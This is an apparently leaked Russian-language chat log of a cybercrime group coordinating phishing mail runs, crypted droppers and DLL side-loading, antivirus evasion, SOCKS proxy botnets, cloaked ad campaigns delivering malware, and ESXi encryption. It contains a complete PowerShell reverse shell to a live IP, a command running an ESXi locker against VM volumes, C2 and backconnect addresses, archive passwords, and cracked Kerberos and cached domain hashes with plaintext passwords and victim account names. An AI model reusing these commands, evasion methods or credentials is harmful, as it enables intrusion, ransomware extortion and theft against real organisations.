thx

хз уже как это сделать

еще и по сути все эти письма не новые

мы слали по ним 100 раз

а то и больше

за пару лет думаю раз 500 прослали

640 писем ушло

ну я же проверял на аутлуке, частично инбоксит

посмотрим, может хоть один придет

ну я же шлю по крупным

я вам еще говорю по ком шлю

я выбираю крупные

и слать начинаем по свежим

проблема же еще в том

что вот мы прослали

и тут через час-два файлы уже грязные

и все

хер кого словим

хотя скачивания идут и идут два суток

в этом еще большая потеря

6 скачиваний есть

никого нормального?

> <@usernamegg:matrix.bestflowers247.online> как то поддерживать постоянно чистый фаил надо на выдачи и длл в том числе

аа

ебать

так че мы шлем

стопнул

1к ушло

там еще и атулук этот

он же предупреждение на каждое письмо вешает

ок

за

ща попробую

запустился

Tommy называется пользователь

стукнул?

Готово

1.7z

еще тут два скачивания из нидерландов

+

4 палит в статике, все остальные по поведению(

какой детект?

mal behavior

sophos

реверс?

ав какйо? опдробнее про детект

к сожалению я вижу только эту надпись

'DynamicShellcode' malicious behavior prevented in 1_cr3.exe

ну это атулук

там прям мониторят конечно

а где ты выдешь?

а ккой ав?

> <@usernameyy:matrix.bestflowers247.online> sophos

ща еще раз запустил

повторно

чисто с смтп, которые за неделю были добавлены

а исходник не палится в рантайме?

палится, но по другому

+

кака?

ml-pe-a

Какой у него детект?

Я хочу понять куда копать

ML/PE-A detected at почти все exe там палятся так, это вряд ли вообще зависит от внутренностей

в смысле что подробностей что именно палит нет

ну скачиваний нет

перезапустил

просыл

у вас было такое что по ssh не подключалось к esxi ?

сервайс включен

руками тоже не заходит

портскан не находит порты

порт другой может быть

версия какая?

8?

да

ничего не сделаешь

там защиту увеличили в 8

даже залить илил что то не дается

а в центр могут 2FA gjcnfdbnm

* а в центр могут 2FA поставить

понял, по скану они причем 7 версия, а в нутри 8

* понял, по скану они причем 7 версия, а внутри 8

7 версия центр наверное

центр вообще не насканило изначально, в неймах есть

могут админы с портами играться. так как сканить 443 дефолт

* могут админы с портами играться. так как сканит 443 дефолт

portscan 192.168.0.252 0-10000

я так запускал + ладоном

0-65565

0-10000 служебные порты, норм сисадми спрячет на юзерских, а это выше 10к

* 0-10000 служебные порты, норм сисадмин спрячет на юзерских, а это выше 10к

+

может без цитаты еще попробывать прослать

вдруг лучше заинбоксит

попробую

запустил без цитаты, просто письмо

реверсы только?

> <@usernamegg:matrix.bestflowers247.online> [15:38:47] YD - SMTP логи : я тут, собираю

никто не стукнул нормальный?

+

ок

какой порт сделать?

ну я 443 сделаю обычно

+

бин как я поднял делается https://backconnect.org/public/99d49531e0e2a044306e24885468c46c.php тут ?

+

обвноляется еще сервер

что-то запускаться не хочет

как будто порт занят 443 кем-то

`ps -i | grep BASISIT.linux`

+

http://45.77.152.43/b5ce14c83e9140a47709be2bfeaf2035/

`esxcli vm process list`

`find -name "*r6g15jd5u"`

готово

я там nginx тоже стопал

если что

`./tmp/BASISIT.linux -forcepath /vmfs/volumes -killesxi`

короч никто не пришле в итоге?

нужен какой-то корпортивный аутлук

и смотреть как вообще туда приходят мои письма

pkill -f server.out

вот так можно

и service apache2 stop чтобы стопнуть апач

стопнул

не понял

в соксбота 3 стукнли

кто-то

ну вы сказали стопнуть)

ща подниму посмотрю

AD\BreaulD

MSP\MOIC03

AD\BreaulD

ну вот паралельно я хз

будет ли работать

поднимать?

```

```

ну я поднимаю на этом же сервер

посмотрим короч как будет

возможно нужно на разных поднимать

не

нужно поднимать на разных

не поднимает 8080

45.77.152.43 вот тут же стопаю сокс бота

верно?

стопнул

просто наверное

там где вы запустили бинарный

его нужно удалять

он на машине где запустили порт заблочил

AD\BreaulD

вы тип на реверсов проливаете сокс бота?

просто такие же имена стукнули в даркгейт

+

Sidle.msi

подписаный

проверю скоро

палит

Trojan:Script/Wacatac.B!ml

при скачивании почему-то

деф еще обновился

так от меня только реверсы стукнули?

по тем по на кого слали ?

* тот на кого слали ?

```

file: SMTP2010.txt

братец, я тут

пришлось эллектричество отрубать

ибо пиздец начался

ошпарился, возился с мастером

помогал, чтобы быстрее починить и в работу уйти

так, смотри, тот DLL - Side Loading, он запускается из под EXE

```

то есть их лучше распростронять вместе

EXE + DLL

и там еще 1 файл вроде

но можно найти точку входа

```

```

file: 2 n7.txt

file: SMTP1910.txt

я все на сегодня? думаю мелкора нет смысла ждать

проверяйте. это из шк

2.7z

> <@usernamegg:matrix.bestflowers247.online> где хозяива эти ?

та не один, все вместе

из-за этого еще больше кипиша

пиздец какой то

решил частично все

там надо детали под замену и все

сдали хату, нихуя не проверили по технике

залупы

ну это единственный был вариант чтобы быстро заехать

ибо почти все отсальные заезд с ноября аж

ну ладно, хер с ним, надо решить все эти моменты, благо уже не я буду этим заниматься

только пострадал от этой все херни и все

щас дальше прокси ставить продолжаю

как доставлю билд сделаю

до 19:30по мск все будет готово

ну час кароче надо

я щас пару проксей поставлю, чтобы чисто на ините были, а потом уже дальше вся инфра будет подтягиваться

ночью сделал одну фишку и спрятал все наши эти прокладки от сканеров

сложно им будет их найти теперь

позже поговорим тогда о нововедениях, щас решу лучше с билдом

вы же планируете запускать юсу?

мг

так в итоге то что?)

понял, хорошо ну я в любом случае добавлю щас прокси и сделаю билды, чтобы были на всякий

на выхах по трафу уже сделаю

поставлю нам кейтару

настрою все, чтобы принять трафик можно было

заклоачу

с лендосом что т опридумаю

и с гугл кампанией буду долбаться

аа, ок

не шлем тогда?

щас я сделаю прокси хотя бы 2-3

и отдадим сразу

поставлю на билд

до скольки бен тут?

сможт минут 20-30 подождать?

ок, и пятница еще

+++

окей

скину скоро

щас прокси 2-3 поставлю

очень надеюсь уже что в пятницу запутим европу

а то тут ее накачалось

так как с мыла и пасса новое есть

до понедельника тогда. хороших выходных

kerb.txt

$krb5tgs$SAPServiceQE1/DC1ERP-EQA01:5534..4ee6d981c:Price@2014

$krb5tgs$SAPServicePB1/DC1ERP-BPR01:b85bc6c..b1a287:Starwars2014

PASS: 6bb2a51156ebf293eacbaf141c478b93

dropper_GGF6_f0adda360d2b4ccda11468e026526576_qJB0EeC.zip

EntryPoint: Crash

протестил исходник сам, все стучит, все четко

там пока 4 прокси на входе, щас еще подключу больше, оно там автоматом подхватывает в процессе стука

и на пк сохраняет, чтобы даже если инфра умрет начальная, то бот все равно взял с компа новую, которую получил

и достучался до нас

я на минут 10-20 отойду

перекушу

а то с утра нихера не ел

тут ?

нам ждать что-то сегодня?

понял

я распущу их тогда

ок?

добро

хороших выходных

`Start-Process $PSHOME\powershell.exe -ArgumentList {$client = New-Object System.Net.Sockets.TCPClient('179.60.149.242',4443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()} -WindowStyle Hidden`

104.243.43.176 ftp9_1_prokladka давно не работает

23.81.246.62 - удалить

> <@usernamegg:matrix.bestflowers247.online> сильно ошпарился ?

+++

> <@usernamegg:matrix.bestflowers247.online> у него осбенно чисто в день оплаты

у тебя есть контакты может нормальных ребят, кто продают RDP брученые

именно брученые

та с логов тоже пододйту

главное, чтобы не были купленые

туда прокси ставить

ну добавлять их в ботнет

и ставить туда прокси

чтобы они учавствовали в нашей IP ранже

понял)

спасибо

```

Good.txt

setki-680.txt

ага, принял спасибо

image.png

```

> <@usernamevv:matrix.bestflowers247.online> у вас было такое что по ssh не подключалось к esxi ?

там могли въебать вход по сертификатам только и все

все уехали?

image.png

поставил 9 проксей в ботнет

IP Все чистые

на выходных еще буду добавлять, чтобы в пн было сразу 20 штук чистых

разные страные

Я отдыхать уже пойду, устал за сегодня сильно, завтра с утра буду на связи, днем отьеду и к вечеру буду

Завтра тебе план по трафику скину, что делать буду и так далее

и посчитаю, если что надо по расходам для старта

Добрых снов, завтра связь

привет бро , автоматизировать пока не получилось, много ручной работы вылезло

доработали скрипты чтобы кпд повысить, раз уж массой не взять

в пнд тесты

потом расскажу что сделали, тебе понравится))

Привет!

Соксы которые вы покупали

там ограничение по трафику видимо

You're out of traffic! Buy a traffic package now!

пришлось все стопнуть

-----------------

хотел спросить что делать с такими акками

image.png

нужно другие искат

а так есть какие-то ограничения у них?

+

ясно

ну там лимит по потокам

300 всего

мало

ща проверю открыты ли почтовые порты

и если что возьму пакет побольше

ок, спасибо, заюзал эти соксы, посмотрим

новый акк сделал если что, так как с этого акка там другие чекеры работают

спасибо)

Привет, я вот как раз готовлю все

вчера настраивал тдску

я с трафиком разберусь

щас ищу акки гугла просто, чтобы уже с билом были VCC

чтобы могли туда с BTC сразу баланс пополнять

чтобы с акка 1к смогли отливать

1-1.5

и будет вообще отлично

много кликов будет

привет

тут

кто отливать?

не понял

смотри, ты просто заходишь на акк, создаешь там кампанию гугл контекста, чтобы в серче по определенным ключам мы показывались сверху

там будет наш домен, ссылка на наш домен

на этом домене будет стоять клоака, которая модераторам будет показывать вайт ( тот, который может пройти модерацию, белый сайт карчое ), а для обычных юзеров - блек, там уже будет наш лендос, на котором юзер будет скачивать сам билд ( exe, msi и что угодно )

Осталось только сделать лендос под зум, или я помню ты говорил, что у тебя есть уже

и по сути 1 акк, на котором/ых мы будем запускать наши кампании

я уже нашел где акки брать, жду пока ответят

на выходные ушли

самое главное в таких акках чтобы там уже был VCC, который можно пополнять и акк не имел заблоченых компаний, спорных моментов и так далее

а самое сложное в трафике - это пройти модерку по спецефическим ключам, которые в блоке можн осказать

и тематика

да

у меня уже все готово

можешь и тот, который пятницу скидывал

но с утра все равно выдам, я доп инфру буду ставить еще

чтобы больше IP было

```

бро доброе утро

банки где нет 2фа могу скидывать в формате логин-пасс?

или нужен хвнц

привет

тоут

тут

щас скину

не знаешь, msi вообще запускается на корп тачках?

да, конечно выдержит

да, щас сделаю

JS тоже же делать?

Привет!

Мелкор написал, делаю ему линки

заливаю уже длку на крипт

щас тебе под бена скину исходник

dropper_GG7_f0adda360d2b4ccda11468e026526576_D9Xaxg.zip

PASS: d28179caaa9fb0e92c363fae9b9cb1b6

вот

на крипт уже залил

точка входа - Crash

все, жду линки от лапы

и делаю JS

щас скину крпитованую длку лапе уже

+++

+

линками сегодня европу прошлю

крпит готов

щас жду пока винда полностью обновится

а то новая версия для 10-ки вышла

и щас еще деф новый поставиптся

отпишу тебе и сразу скину лапе

длку

посмотрим

JS уже скинул

еще обнволяется ивнда

винда

js выдал мелкор, жду дллку

могу скинуть

но еще не протестил

жду пока обновится

отписал же

щас скину лапе

пусть он еще проетстит

Trojan:Script/Ulthar.A!ml

бля

короче два раза не давало скачать js

пиздец

палит ебаный JS

щас почищу

1 раз скачал, но после запуска спалило дллку

ща еще попробую серт сменить

та и длку спалило походу

+

+++

окей

скинешь

проверю

так

вроде чисто

серт поменял

еще разок проверю

у меня вот соксы эти за выходные пометили считай все смтп не рабочими

короче тупо все смтп придется ставить при рассыле

уходить будет медленно

доброе, почти

доброе

доброе

ну отвалились соксы потому что

ладно, до завтра надеюсь перепроверят все смтп

те смтп что вы посоветовали, что-то я не уверен, что они хороши с smtp и imap протоколами работаю

да, соксы

ладно, запущу скоро

а он вообще работает? я его из записей удалил

просмотрю еще как уходить будет

я ведь для рассылки использую только рабочие смтп

а вот за выходные соксы по сути пометили все смтп нерабочими

и поэтому сейчас хз где рабочие соксы а где нет

* и поэтому сейчас хз где рабочие смтп а где нет

ладно

запускаюсь

* я подключился с этим пассом

пустил европу

Доброе

есть один запуск из италии

20k ушло

ладно уже, пусть по так уходит

до этого конечно в 5 раз быстрее ушло

* до этого конечно в 5 раз быстрее уходило

ну 4 запуска есть

> <@usernamegg:matrix.bestflowers247.online> соксы те плохие что ты взял в субботу ?

уже другие поставил для чекинга смтп

proxytraff поставил

да да

proxy.am я их заюзал

а в какую группу должны стучать в пику?

ага

понял

10 запусков есть

просто пока не понятно где смотреть куда стукнули

93.35.144.192 пока один стукнул

из 13

22 запуска уже

идут запуски в общем

ладно, ждем

GG&

есть уже лтам

с лапой только что смотрели

италия стукнула

да

ну все стучит нормально

все четко работатет

как всегда вначале херово стучит

потом нормально начинает

у нас так каждый раз

сетка

уже стукнула

FR

ждем

30 запусков уже

потом в конце посчитаю процент

+++

еще ппришло

+

+

file: SMTP1910.txt

FILE IMAP: IMAP2010.txt

http://temp.sh/JxtaF/123123.7z

+

от бена уже есть длка?

бен делает дллку?

думаю у него получше будет отстук

нормалньо идет?

не приехал еще

я сгружаю

начали обрабатывать

+

да

сек

уже обновилось все

да 3 из 3

++

да, подписываю

минут 10 сделаю

стажер на порт

какой там запуск?

1 из 3ех сдохла

в кобе

да, на порт

ок, на днс хвать будем

это инжект версия?

Crash

ну чисто

скоро поставлю на выдачу

oxya_adm:$DCC2$10240#oxya_adm#4c3554d339ed75145b5d0232919e53ca

ну у бена кстати сразу подписаные дллки

7be965e4719655916796cda68a0e6217

размножил и ставлю уже на выдачу

160 запусков уже есть

a-obaiomer:$DCC2$10240#a-obaiomer#e79d00ff23112768669808b1deba47a9

стучат от бена

все ок

+++

```

a10ec7921492ff90aef9a6ee413731c4:Supervis2021!

> <@usernameboy:matrix.bestflowers247.online> a10ec7921492ff90aef9a6ee413731c4:Supervis2021!

да все окей стучит

проверил тоже

af61d960e07fc25f6c479bbd708c4f0e:Onmytest.24

перезапустил чисто по крупным компаниям

щас чекнем

USMSF8080_thread.bin

USMSF443_thread.bin

DEMSF8080_thread.bin

DEMSF443_thread.bin

https://i1ovfbpnlgg0hjks.tech/9568c16f-b420-43dc-8a59-f3500b0628fe/bot/19959

вот этот отпал(

там TrendMicro OfficeScan

вот именно OfficeScan палит

разберусь с этим, правда не могу понять даже что за детект

ибо закреп не сработал там, он только через время работает и другой чутка

обычный тренд все чисто

OfficeScan едрка

ладно, разберусь

у нас нет таких

та это понятно

тут закрепа и не было

он спалился в тупую

даже без ничего

тупо запустился, 1 раз стукнул в панель

и умер

и все

+

тут даже не понятно как он умер и из-за чего, вообще это выглядит очень странно, обычно так только реверсеры делают

ну что-то и стучать перестали

хотя запуски идут

но еще подождем

да

ага

минут как 10

привет, посмотрели, отключали сингл и чекали на whoer.net

странно

> <@usernamegg:matrix.bestflowers247.online> там после закрепа по какому принципу он должен приходить ?

ну точнее при входе в юзера

таких айпи нет

если от амдина

то при запуске пк

я проверил, вроде как все ок

но еще прикол

перед запуском js появилось окно

для подтверждения запуска

> <@usernamegg:matrix.bestflowers247.online> что то случилось ?

если остальные боты стучат

значит все четко работает

может щас болльшой шквал реверсеров идет

их хуй отличишь

эти черти юзают резики

я их всех блочу

у меня нормально фильтры работают

но у меня данных входных больше

второй раз проверил, не появилось

> <@usernamegg:matrix.bestflowers247.online> перед запуском js появилось окно

скинь скрин

видимо все же иногда спрашивает разрешение на запуск

а так пока по дефу чисто

ну он чтоль не видел ни разу разрешение на запуск js ?)

серт его как раз убирает

ладно, все ок

но видимо иногда может спросить

> <@usernamegg:matrix.bestflowers247.online> ну я когда от дарггейта запускаю js у меня тоже вылазит окно но от системы зависит

если не подписать, тогда всегда будет спрашивать

я же поэтому и подписываю js, чтобы не спрашивало разрешение на запуск

ага, понял

такое бывает, когда фейлится запрос к smartscreen

тогда просит запуск с блоком MOTW

для таких файлов

начал слать по крупным и какбудто отстук упал конечно

но у меня по дефу чисто все

это для скриптовых

ладно, шлем

пока

а для обычных .exe -> смарт вылазит

такое бывает кароче

запуски так-то идут

но вот что-то не оч стучит

> <@usernamenn:matrix.bestflowers247.online> какое сообщение выдавало при коннекте по ssh?

у мелкора там точно не отвалилось что-нибудь ?

может прокладки

у вас щас на выдаче стоит BEN?

или ляпис?

Если что сетки можешь в панели вот так фильтровать, щас скрин скину

image.png

вот здесь в поисковой строке можешь ставить бекслеш

и будут все сетки отображаться

точно все ок, если боты стучат, те которые в системе, то все окей

если боты все уходят в офф, то уже что то не так идет

если стучат, то все окей

> <@usernamegg:matrix.bestflowers247.online> бен стоит на выдачи

не, от бена вроде лучше

ибо ляписа же по началу норм стучал

ща сделаю скрипт, чтобы из пики вытаскивало

чтобы проценты видеть

от бена когда поставил, прям начали стучать

лучше

но вот сейчас как будто передастли минут как 20

слабо

+

+

KVSZ2: 1218096 174 \ 37 \ 137 \ 21%

у обоих 20%

но вот у бена было 30%